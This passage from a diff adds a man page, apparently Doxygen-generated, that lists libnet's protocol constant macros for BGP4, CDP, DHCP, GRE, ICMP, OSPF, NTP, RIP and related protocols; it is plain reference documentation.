+.RI "#define \fBLIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_INVALID_NETWORK_FIELD\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BGP4_MALFORMED_AS_PATH\fP"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PROTO_CDP\fP 200"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_DEVID\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_ADDRESS\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_PORTID\fP 0x3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAPABIL\fP 0x4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_VERSION\fP 0x5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_PLATFORM\fP 0x6"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_IPPREFIX\fP 0x7"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_L3R\fP 0x01"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_L2B\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_L2SRB\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_L2S\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_SR\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_NOI\fP 0x20"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_CDP_CAP_L1F\fP 0x40"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_REQUEST\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_REPLY\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBDHCP_MAGIC\fP 0x63825363"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_BOOTP_MIN_LEN\fP 0x12c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_PAD\fP 0x00"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_SUBNETMASK\fP 0x01"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_TIMEOFFSET\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_ROUTER\fP 0x03"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_TIMESERVER\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NAMESERVER\fP 0x05"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_DNS\fP 0x06"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_LOGSERV\fP 0x07"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_COOKIESERV\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_LPRSERV\fP 0x09"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_IMPSERV\fP 0x0a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_RESSERV\fP 0x0b"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_HOSTNAME\fP 0x0c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_BOOTFILESIZE\fP 0x0d"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_DUMPFILE\fP 0x0e"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_DOMAINNAME\fP 0x0f"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_SWAPSERV\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_ROOTPATH\fP 0x11"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_EXTENPATH\fP 0x12"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_IPFORWARD\fP 0x13"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_SRCROUTE\fP 0x14"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_POLICYFILTER\fP 0x15"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MAXASMSIZE\fP 0x16"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_IPTTL\fP 0x17"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MTUTIMEOUT\fP 0x18"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MTUTABLE\fP 0x19"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MTUSIZE\fP 0x1a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_LOCALSUBNETS\fP 0x1b"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_BROADCASTADDR\fP 0x1c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_DOMASKDISCOV\fP 0x1d"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MASKSUPPLY\fP 0x1e"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_DOROUTEDISC\fP 0x1f"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_ROUTERSOLICIT\fP 0x20"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_STATICROUTE\fP 0x21"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_TRAILERENCAP\fP 0x22"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_ARPTIMEOUT\fP 0x23"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_ETHERENCAP\fP 0x24"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_TCPTTL\fP 0x25"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_TCPKEEPALIVE\fP 0x26"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_TCPALIVEGARBAGE\fP 0x27"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NISDOMAIN\fP 0x28"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NISSERVERS\fP 0x29"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NISTIMESERV\fP 0x2a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_VENDSPECIFIC\fP 0x2b"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NBNS\fP 0x2c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NBDD\fP 0x2d"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NBTCPIP\fP 0x2e"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NBTCPSCOPE\fP 0x2f"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_XFONT\fP 0x30"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_XDISPLAYMGR\fP 0x31"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_DISCOVERADDR\fP 0x32"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_LEASETIME\fP 0x33"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_OPTIONOVERLOAD\fP 0x34"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MESSAGETYPE\fP 0x35"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_SERVIDENT\fP 0x36"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_PARAMREQUEST\fP 0x37"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MESSAGE\fP 0x38"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MAXMSGSIZE\fP 0x39"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_RENEWTIME\fP 0x3a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_REBINDTIME\fP 0x3b"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_CLASSSID\fP 0x3c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_CLIENTID\fP 0x3d"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NISPLUSDOMAIN\fP 0x40"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NISPLUSSERVERS\fP 0x41"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MOBILEIPAGENT\fP 0x44"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_SMTPSERVER\fP 0x45"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_POP3SERVER\fP 0x46"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_NNTPSERVER\fP 0x47"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_WWWSERVER\fP 0x48"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_FINGERSERVER\fP 0x49"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_IRCSERVER\fP 0x4a"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_STSERVER\fP 0x4b"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_STDASERVER\fP 0x4c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_END\fP 0xff"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGDISCOVER\fP 0x01"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGOFFER\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGREQUEST\fP 0x03"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGDECLINE\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGACK\fP 0x05"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGNACK\fP 0x06"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGRELEASE\fP 0x07"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DHCP_MSGINFORM\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DNS_H\fP LIBNET_UDP_DNSV4_H"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_PUP\fP 0x0200"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_IP\fP 0x0800"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_ARP\fP 0x0806"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_REVARP\fP 0x8035"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_VLAN\fP 0x8100"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_EAP\fP 0x888e"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_MPLS\fP 0x8847"
+.br
+.ti -1c
+.RI "#define \fBETHERTYPE_LOOPBACK\fP 0x9000"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_FDDI_LLC_FRAME\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_FDDI_48BIT_ADDR\fP 0x40"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_FDDI_FC_REQD\fP LIBNET_FDDI_LLC_FRAME | LIBNET_FDDI_48BIT_ADDR"
+.br
+.ti -1c
+.RI "#define \fBFDDI_TYPE_IP\fP 0x0800"
+.br
+.ti -1c
+.RI "#define \fBFDDI_TYPE_ARP\fP 0x0806"
+.br
+.ti -1c
+.RI "#define \fBFDDI_TYPE_REVARP\fP 0x8035"
+.br
+.ti -1c
+.RI "#define \fBGRE_CSUM\fP 0x8000"
+.br
+.ti -1c
+.RI "#define \fBGRE_ROUTING\fP 0x4000"
+.br
+.ti -1c
+.RI "#define \fBGRE_KEY\fP 0x2000"
+.br
+.ti -1c
+.RI "#define \fBGRE_SEQ\fP 0x1000"
+.br
+.ti -1c
+.RI "#define \fBGRE_STRICT\fP 0x0800"
+.br
+.ti -1c
+.RI "#define \fBGRE_REC\fP 0x0700"
+.br
+.ti -1c
+.RI "#define \fBGRE_ACK\fP 0x0080"
+.br
+.ti -1c
+.RI "#define \fBGRE_FLAGS_MASK\fP 0x00F8"
+.br
+.ti -1c
+.RI "#define \fBGRE_VERSION_MASK\fP 0x0007"
+.br
+.ti -1c
+.RI "#define \fBGRE_VERSION_0\fP 0x0000"
+.br
+.ti -1c
+.RI "#define \fBGRE_VERSION_1\fP 0x0001"
+.br
+.ti -1c
+.RI "#define \fBGRE_SNA\fP 0x0004"
+.br
+.ti -1c
+.RI "#define \fBGRE_OSI_NETWORK_LAYER\fP 0x00FE"
+.br
+.ti -1c
+.RI "#define \fBGRE_PUP\fP 0x0200"
+.br
+.ti -1c
+.RI "#define \fBGRE_XNS\fP 0x0600"
+.br
+.ti -1c
+.RI "#define \fBGRE_IP\fP 0x0800"
+.br
+.ti -1c
+.RI "#define \fBGRE_CHAOS\fP 0x0804"
+.br
+.ti -1c
+.RI "#define \fBGRE_RFC_826_ARP\fP 0x0806"
+.br
+.ti -1c
+.RI "#define \fBGRE_FRAME_RELAY_ARP\fP 0x0808"
+.br
+.ti -1c
+.RI "#define \fBGRE_VINES\fP 0x0BAD"
+.br
+.ti -1c
+.RI "#define \fBGRE_VINES_ECHO\fP 0x0BAE"
+.br
+.ti -1c
+.RI "#define \fBGRE_VINES_LOOPBACK\fP 0x0BAF"
+.br
+.ti -1c
+.RI "#define \fBGRE_DECNET\fP 0x6003"
+.br
+.ti -1c
+.RI "#define \fBGRE_TRANSPARENT_ETHERNET_BRIDGING\fP 0x6558"
+.br
+.ti -1c
+.RI "#define \fBGRE_RAW_FRAME_RELAY\fP 0x6559"
+.br
+.ti -1c
+.RI "#define \fBGRE_APOLLO_DOMAIN\fP 0x8019"
+.br
+.ti -1c
+.RI "#define \fBGRE_ETHERTALK\fP 0x809B"
+.br
+.ti -1c
+.RI "#define \fBGRE_NOVELL_IPX\fP 0x8137"
+.br
+.ti -1c
+.RI "#define \fBGRE_RFC_1144_TCP_IP_COMPRESSION\fP 0x876B"
+.br
+.ti -1c
+.RI "#define \fBGRE_IP_AUTONOMOUS_SYSTEMS\fP 0x876C"
+.br
+.ti -1c
+.RI "#define \fBGRE_SECURE_DATA\fP 0x876D"
+.br
+.ti -1c
+.RI "#define \fBGRE_PPP\fP 0x880b"
+.br
+.ti -1c
+.RI "#define \fBgre_sum\fP _data._gre.sum"
+.br
+.ti -1c
+.RI "#define \fBgre_offset\fP _data._gre.offset"
+.br
+.ti -1c
+.RI "#define \fBgre_key\fP _data._gre.key"
+.br
+.ti -1c
+.RI "#define \fBgre_seq\fP _data._gre.seq"
+.br
+.ti -1c
+.RI "#define \fBegre_payload_s\fP _data._egre.payload_s"
+.br
+.ti -1c
+.RI "#define \fBegre_callID\fP _data._egre.callID"
+.br
+.ti -1c
+.RI "#define \fBegre_seq\fP _data._egre.seq"
+.br
+.ti -1c
+.RI "#define \fBegre_ack\fP _data._egre.ack"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_GRE\fP 47"
+.br
+.ti -1c
+.RI "#define \fBIPTOS_LOWDELAY\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBIPTOS_THROUGHPUT\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBIPTOS_RELIABILITY\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBIPTOS_LOWCOST\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBIP_RF\fP 0x8000"
+.br
+.ti -1c
+.RI "#define \fBIP_DF\fP 0x4000"
+.br
+.ti -1c
+.RI "#define \fBIP_MF\fP 0x2000"
+.br
+.ti -1c
+.RI "#define \fBIP_OFFMASK\fP 0x1fff"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_EOL\fP 0"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_NOP\fP 1"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_RR\fP 7"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_TS\fP 68"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_SECURITY\fP 130"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_LSRR\fP 131"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_SATID\fP 136"
+.br
+.ti -1c
+.RI "#define \fBIPOPT_SSRR\fP 137"
+.br
+.ti -1c
+.RI "#define \fBlibnet_s6_addr\fP __u6_addr.__u6_addr8"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_NH_FRAGMENT\fP 44"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_NH_ROUTING\fP 43"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_NH_DESTOPTS\fP 60"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_IPV6_NH_HBH\fP 0"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_ICMP6\fP 0x3a"
+.br
+.ti -1c
+.RI "#define \fBICMP6_ECHO\fP 128"
+.br
+.ti -1c
+.RI "#define \fBICMP6_ECHOREPLY\fP 129"
+.br
+.ti -1c
+.RI "#define \fBICMP6_UNREACH\fP 1"
+.br
+.ti -1c
+.RI "#define \fBICMP6_PKTTOOBIG\fP 2"
+.br
+.ti -1c
+.RI "#define \fBICMP6_TIMXCEED\fP 3"
+.br
+.ti -1c
+.RI "#define \fBICMP6_PARAMPROB\fP 4"
+.br
+.ti -1c
+.RI "#define \fBICMP_ECHOREPLY\fP 0"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH\fP 3"
+.br
+.ti -1c
+.RI "#define \fBICMP_SOURCEQUENCH\fP 4"
+.br
+.ti -1c
+.RI "#define \fBICMP_REDIRECT\fP 5"
+.br
+.ti -1c
+.RI "#define \fBICMP_ECHO\fP 8"
+.br
+.ti -1c
+.RI "#define \fBICMP_ROUTERADVERT\fP 9"
+.br
+.ti -1c
+.RI "#define \fBICMP_ROUTERSOLICIT\fP 10"
+.br
+.ti -1c
+.RI "#define \fBICMP_TIMXCEED\fP 11"
+.br
+.ti -1c
+.RI "#define \fBICMP_PARAMPROB\fP 12"
+.br
+.ti -1c
+.RI "#define \fBICMP_TSTAMP\fP 13"
+.br
+.ti -1c
+.RI "#define \fBICMP_TSTAMPREPLY\fP 14"
+.br
+.ti -1c
+.RI "#define \fBICMP_IREQ\fP 15"
+.br
+.ti -1c
+.RI "#define \fBICMP_IREQREPLY\fP 16"
+.br
+.ti -1c
+.RI "#define \fBICMP_MASKREQ\fP 17"
+.br
+.ti -1c
+.RI "#define \fBICMP_MASKREPLY\fP 18"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_NET\fP 0"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_HOST\fP 1"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_PROTOCOL\fP 2"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_PORT\fP 3"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_NEEDFRAG\fP 4"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_SRCFAIL\fP 5"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_NET_UNKNOWN\fP 6"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_HOST_UNKNOWN\fP 7"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_ISOLATED\fP 8"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_NET_PROHIB\fP 9"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_HOST_PROHIB\fP 10"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_TOSNET\fP 11"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_TOSHOST\fP 12"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_FILTER_PROHIB\fP 13"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_HOST_PRECEDENCE\fP 14"
+.br
+.ti -1c
+.RI "#define \fBICMP_UNREACH_PRECEDENCE_CUTOFF\fP 15"
+.br
+.ti -1c
+.RI "#define \fBICMP_REDIRECT_NET\fP 0"
+.br
+.ti -1c
+.RI "#define \fBICMP_REDIRECT_HOST\fP 1"
+.br
+.ti -1c
+.RI "#define \fBICMP_REDIRECT_TOSNET\fP 2"
+.br
+.ti -1c
+.RI "#define \fBICMP_REDIRECT_TOSHOST\fP 3"
+.br
+.ti -1c
+.RI "#define \fBICMP_TIMXCEED_INTRANS\fP 0"
+.br
+.ti -1c
+.RI "#define \fBICMP_TIMXCEED_REASS\fP 1"
+.br
+.ti -1c
+.RI "#define \fBICMP_PARAMPROB_OPTABSENT\fP 1"
+.br
+.ti -1c
+.RI "#define \fBicmp_id\fP hun.echo.id"
+.br
+.ti -1c
+.RI "#define \fBicmp_seq\fP hun.echo.seq"
+.br
+.ti -1c
+.RI "#define \fBicmp_mask\fP dun.mask"
+.br
+.ti -1c
+.RI "#define \fBicmp_data\fP dun.data"
+.br
+.ti -1c
+.RI "#define \fBicmp_otime\fP dun.ts.its_otime"
+.br
+.ti -1c
+.RI "#define \fBicmp_rtime\fP dun.ts.its_rtime"
+.br
+.ti -1c
+.RI "#define \fBicmp_ttime\fP dun.ts.its_ttime"
+.br
+.ti -1c
+.RI "#define \fBIGMP_MEMBERSHIP_QUERY\fP 0x11"
+.br
+.ti -1c
+.RI "#define \fBIGMP_V1_MEMBERSHIP_REPORT\fP 0x12"
+.br
+.ti -1c
+.RI "#define \fBIGMP_V2_MEMBERSHIP_REPORT\fP 0x16"
+.br
+.ti -1c
+.RI "#define \fBIGMP_LEAVE_GROUP\fP 0x17"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_ESP\fP 50"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_AH\fP 51"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_PROTO_ISL\fP 201"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_OSPF\fP 89"
+.br
+.ti -1c
+.RI "#define \fBIPPROTO_OSPF_LSA\fP 890"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_MODX\fP 4102"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OPT_EBIT\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OPT_MCBIT\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OPT_NPBIT\fP 0x08"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OPT_EABIT\fP 0x10"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OPT_DCBIT\fP 0x20"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_MPLS_BOS_ON\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_MPLS_BOS_OFF\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_LI_NW\fP 0x0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_LI_AS\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_LI_DS\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_LI_AC\fP 0x3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_VN_2\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_VN_3\fP 0x3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_VN_4\fP 0x4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_R\fP 0x0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_A\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_P\fP 0x2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_C\fP 0x3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_S\fP 0x4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_B\fP 0x5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_RC\fP 0x6"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_MODE_RP\fP 0x7"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_STRATUM_UNAVAIL\fP 0x0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_STRATUM_PRIMARY\fP 0x1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_LOCAL\fP 0x4c4f434c"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_PPS\fP 0x50505300"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_ACTS\fP 0x41435453"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_USNO\fP 0x55534e4f"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_PTB\fP 0x50544200"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_TDF\fP 0x54444600"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_DCF\fP 0x44434600"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_MSF\fP 0x4d534600"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_WWV\fP 0x57575600"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_WWVB\fP 0x57575642"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_WWVH\fP 0x57575648"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_CHU\fP 0x43485500"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_LORC\fP 0x4c4f5243"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_OMEG\fP 0x4f4d4547"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_GPS\fP 0x47505300"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_NTP_REF_GOES\fP 0x474f4553"
+.br
+.ti -1c
+.RI "#define \fBOSPFVERSION\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_UMD\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_HELLO\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_DBD\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LSR\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LSU\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_LSA\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_AUTH_NULL\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_AUTH_SIMPLE\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_OSPF_AUTH_MD5\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DBD_IBI\fP 0x01"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DBD_MBIT\fP 0x02"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_DBD_MSBIT\fP 0x04"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LS_TYPE_RTR\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LS_TYPE_NET\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LS_TYPE_IP\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LS_TYPE_ASBR\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LS_TYPE_ASEXT\fP 5"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RTR_FLAGS_W\fP 0x0100"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RTR_FLAGS_E\fP 0x0200"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RTR_FLAGS_B\fP 0x0400"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LINK_ID_NBR_ID\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LINK_ID_IP_DES\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_LINK_ID_SUB\fP 3"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RTR_TYPE_PTP\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RTR_TYPE_TRANS\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RTR_TYPE_STUB\fP 3"
+.br
+.ti -1c
+.RI "#define \fBRTR_TYPE_VRTL\fP 4"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_AS_E_BIT_ON\fP 0x80000000"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_REQUEST\fP 1"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_RESPONSE\fP 2"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_TRACEON\fP 3"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_TRACEOFF\fP 4"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_POLL\fP 5"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_POLLENTRY\fP 6"
+.br
+.ti -1c
+.RI "#define \fBRIPCMD_MAX\fP 7"
+.br
+.ti -1c
+.RI "#define \fBRIPVER_0\fP 0"
+.br
+.ti -1c
+.RI "#define \fBRIPVER_1\fP 1"
+.br
+.ti -1c
+.RI "#define \fBRIPVER_2\fP 2"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RPC_CALL\fP 0"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RPC_REPLY\fP 1"
+.br
+.ti -1c
+.RI "#define \fBLIBNET_RPC_VERS\fP 2"
+.br
+.ti -1c
